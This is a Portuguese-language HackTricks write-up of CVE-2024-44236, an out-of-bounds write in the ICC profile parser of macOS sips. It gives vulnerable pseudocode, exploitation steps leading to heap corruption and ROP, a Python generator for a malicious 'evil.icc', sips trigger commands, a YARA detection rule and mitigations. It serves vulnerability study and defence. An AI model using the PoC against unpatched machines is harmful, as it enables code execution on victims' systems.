WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236)
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Visão Geral
Uma vulnerabilidade de zero-write fora dos limites no parser de perfil ICC do Scriptable Image Processing System (sips
) do Apple macOS (macOS 15.0.1, sips-307
) permite que um atacante corrompa os metadados do heap e mude o primitivo para execução de código completo. O bug está localizado no manuseio do campo offsetToCLUT
das tags lutAToBType
(mAB
) e lutBToAType
(mBA
). Se os atacantes definirem offsetToCLUT == tagDataSize
, o parser apaga 16 bytes além do final do buffer do heap. O heap spraying permite que o atacante zere estruturas de alocador ou ponteiros C++ que serão posteriormente desreferenciados, resultando em uma cadeia de arbitrary-write-to-exec (CVE-2024-44236, CVSS 7.8).
A Apple corrigiu o bug no macOS Sonoma 15.2 / Ventura 14.7.1 (30 de outubro de 2024). Uma segunda variante (CVE-2025-24185) foi corrigida no macOS 15.5 e iOS/iPadOS 18.5 em 1º de abril de 2025.
Código Vulnerável
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0; // no bounds check vs allocated size!
}
Etapas de Exploração
- Crie um perfil
.icc
malicioso
- Configure um cabeçalho ICC mínimo (
acsp
) e adicione uma tagmAB
(oumBA
). - Configure a tabela de tags para que o
offsetToCLUT
seja igual ao tamanho da tag (tagDataSize
). - Coloque dados controlados pelo atacante logo após a tag para que as 16 gravações de zero sobreponham os metadados do alocador.
- Acione a análise com qualquer operação sips que toque o perfil
# caminho de verificação (sem arquivo de saída necessário)
sips --verifyColor evil.icc
# ou implicitamente ao converter imagens que incorporam o perfil
sips -s format png payload.jpg --out out.png
- Corrupção de metadados do heap ➜ gravação arbitrária ➜ ROP
No alocador
nano_zone
padrão da Apple, os metadados para slots de 16 bytes vivem imediatamente após a laje alinhada de 0x1000. Ao colocar a tag do perfil no final de tal laje, as 16 gravações de zero corrompemmeta->slot_B
. Após umfree
subsequente, o ponteiro envenenado é enfileirado na lista de livres pequenos, permitindo que o atacante aloque um objeto falso em um endereço arbitrário e sobrescreva um ponteiro de vtable C++ usado pelo sips, finalmente mudando a execução para uma cadeia ROP armazenada no buffer ICC malicioso.
Gerador de PoC rápido (Python 3)
#!/usr/bin/env python3
import struct, sys
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
profile = HDR
profile += struct.pack('>I', len(TAGS)) # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
mab = bytearray(52) # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
profile += mab
open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
Regra de detecção YARA
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author = "HackTricks"
strings:
$magic = { 61 63 73 70 } // 'acsp'
$mab = { 6D 41 42 20 } // 'mAB '
$mba = { 6D 42 41 20 } // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10): // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}
Impacto
Abrir ou processar um perfil ICC elaborado leva à execução remota de código arbitrário no contexto do usuário que o invoca (Preview, QuickLook, renderização de imagens no Safari, anexos de Mail, etc.), contornando o Gatekeeper porque o perfil pode ser incorporado dentro de imagens benignas (PNG/JPEG/TIFF).
Detecção e Mitigação
- Atualize! Certifique-se de que o host está executando macOS ≥ 15.2 / 14.7.1 (ou iOS/iPadOS ≥ 18.1).
- Implemente a regra YARA acima em gateways de e-mail e soluções EDR.
- Remova ou sane os perfis ICC incorporados com
exiftool -icc_profile= -overwrite_original <file>
antes de processar arquivos não confiáveis. - Reforce o Preview/QuickLook executando-os dentro de VMs "transparência e modernização" em sandbox ao analisar conteúdo desconhecido.
- Para DFIR, procure por execuções recentes de
sips --verifyColor
ou carregamentos da bibliotecaColorSync
por aplicativos em sandbox no log unificado.
Referências
- Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)” https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
- Atualizações de segurança da Apple HT213981 “Sobre o conteúdo de segurança do macOS Sonoma 15.2” https://support.apple.com/en-us/HT213981
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.